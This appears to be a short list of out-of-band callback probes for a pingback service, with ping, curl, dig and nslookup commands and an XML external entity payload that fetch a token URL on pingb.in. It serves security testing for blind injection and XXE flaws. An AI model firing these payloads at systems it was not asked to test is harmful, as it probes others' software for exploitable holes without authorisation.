$ ping -c1 -p 004e0ad89a1d428924ef3b23b92f7200 pingb.in
$ curl pingb.in/p/4e0ad89a1d428924ef3b23b92f72
$ dig 4e0ad89a1d428924ef3b23b92f72 @pingb.in
$ dig 4e0ad89a1d428924ef3b23b92f72.ns.pingb.in
C:\> nslookup 4e0ad89a1d428924ef3b23b92f72 pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/4e0ad89a1d428924ef3b23b92f72">]> <foo>&xxe;</foo>